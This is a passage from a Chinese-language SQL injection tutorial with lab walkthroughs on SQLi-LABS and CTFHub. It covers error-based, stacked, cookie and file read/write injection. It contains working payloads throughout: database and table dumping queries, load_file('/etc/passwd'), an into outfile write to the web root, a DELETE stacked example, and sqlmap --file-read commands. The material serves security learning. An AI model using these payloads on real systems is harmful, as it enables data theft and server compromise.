或者
?id=1' and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a) --+
#获取表名
?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand()*2))as a from information_schema.tables group by a--+
或者
?id=1'and (select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a) --+
使用如上SQL语句,发现多查询几次会爆出Duplicate entry
的错误,并且将我们需要的信息都爆出来了。
实例:
SQLi-LABS第五关:https://jwt1399.top/posts/30333.html#toc-heading-5
双注入详细原理请参考:
updatexml报错注入
updatexml(xml_target, XPath_string, new_value)
:返回替换的XML片段
参数 | 描述 |
XML_document | String格式,需要操作的xml片段 |
XPath_string | 需要更新的xml路径(Xpath格式) |
new_value | String格式,更新后的内容 |
Payload:
updatexml(1,concat(0x7e,(select database()),0x7e),1);
如果Xpath格式语法书写错误的话,就会报错。利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。
concat()
函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出数据库
0x7e
为hex码,实为~
,为了使Xpath格式语法书写错误
extractvalue报错注入
extractvalue(xml_frag, xpath_expr)
:使用XPath表示法从XML字符串中提取值
参数 | 描述 |
xml_frag | 目标xml文档 |
xpath_expr | Xpath格式的字符串,xml路径 |
Payload:
extractvalue(1,concat(0x7e,(select database()),0x7e));
如果Xpath格式语法书写错误的话,就会报错。利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。
六、二次注入
待更。。。
七、堆叠注入
原理
在SQL中,分号(;)是用来表示一条SQL语句的结束。试想一下我们在分号(;)结束后一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。 用户输入:1; DELETE FROM products
服务器端生成的sql语句为:select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除
八、HTTP header注入
HTTP头注入其实并不是一个新的SQL注入类型,而是指出现SQL注入漏洞的场景。 有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证) 或者通过HTTP header头信息获取客户端的一些资料,比如User-Agent、Accept字段等。 会对客户端的HTTP header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于HTTP header的SQL Inject漏洞。
Cookie 注入
原理
Cookie注入的原理:
php中,使用超全局变量 _GET,_POST来接受参数。 asp中,使用 Request.QueryString (GET)或 Request.Form (POST)来接收页面提交的参数值。 有些程序员直接这么写:id = _REQUEST['id'];这时候PHP不知道,应该从GET还是POST方式上接收参数 ,它就会一个一个去试,它是先取GET中的数据,再取POST中的数据,还会去取Cookies中的数据,如果没有做好防护措施就容易导致存在cookie注入。
Cookie注入特征:通过修改Cookie的值进行注入,Cookie注入跟普通sql注入过程一样
Cookie注入方法:
方法一:BurpSuite抓包修改Cookie进行注入
方法二:使用SqlMap进行注入
python sqlmap.py -u "http://xxx.com" --cookie "id=x" --dbs --level 2
实例
题目来源:CTFHub-Web技能树-Cookie注入
题目已经很明显提示是cookie注入,打开Burpsuite抓包
抓包之后可以看到cookie里面有id参数,我们尝试进行注入,果然可以成功注入
后续就是修改Cookie进行普通的数字型注入就可以了
#确定字段数【字段数为2】
Cookie: id=1 order by 1
Cookie: id=1 order by 2
Cookie: id=1 order by 3
#确定字段顺序
Cookie: id=-1 union select 1,2
#爆数据库名【sqli】
Cookie: id=-1 union select 1,database()
#爆表名【news,ztikrnhkas】
Cookie: id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
#爆列名【rcdrtihzyr】
Cookie: id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='ztikrnhkas'
#爆值
Cookie: id=-1 union select 1,rcdrtihzyr from ztikrnhkas
XFF注入
待更。。。
UA注入
待更。。。
九、读写文件
读取文件函数
load_file(file_name)
:读取文件并返回该文件内容作为一个字符串。
使用前提:
- 必须有权限读取并且文件必须完全可读
- 必须指定文件完整路径
- 能够使用union查询(sql注入时)
- 对Web目录有写权限用户必须有secure_file_priv=文件权限
- 欲读取文件必须小于max_allowed_packetde的允许值
secure_file_priv的值
设置 | 含义 |
secure_file_prive=null | 限制mysql不允许导入/导出 |
secure_file_priv=/tmp/ | 限制mysql的导入/导出只能发生在/tmp/目录下 |
secure_file_priv=空 | 不限制mysql的导入/导出 |
mysql下执行show global variables like '%secure%';
可以查看secure_file_priv
的值
写文件函数
into outfile
实例
靶机:sqli-labs第7关
#查看页面变化,判断sql注入类别
?id=1 and 1=1
?id=1 and 1=2
#You are in.... Use outfile......
#确定字段数
?id=1' order by 3 --+
?id=1')) order by 4 --+
#联合查询查看显示位
?id=-1 union select 1,2,3
?id=-1')) union select 1,load_file('/etc/passwd'),3 --+
?id=-1')) union select 1,(''),3 into outfile "/var/www/html/a.php"--+
sqlmap读取文件
–file-read用法用于读取本地文件
python sqlmap.py -u "http://xxx/x?id=1" --file-read=/etc/passwd
十、SQL注入靶场
以下链接均为我其他文章的SQL注入靶场的学习记录
SQLi-LABS
SQLi-LABS学习笔记:https://jwt1399.top/posts/30333.html
DVWA-SQL
Web基础漏洞-DVWA(SQL注入部分):https://jwt1399.top/posts/27769.html#toc-heading-16
Pikachu-SQL
Pikachu漏洞平台通关记录(SQL注入部分):http://127.0.0.1:4000/posts/30313.html#toc-heading-13
一些感悟
我自己我在学习Web安全的过程中,也是倍感枯燥,总想急于求成,想要简单学一哈就能实现各种🐄🍺操作,显然不是那么容易的,所以请静下心来钻研吧,慢慢来,比较快!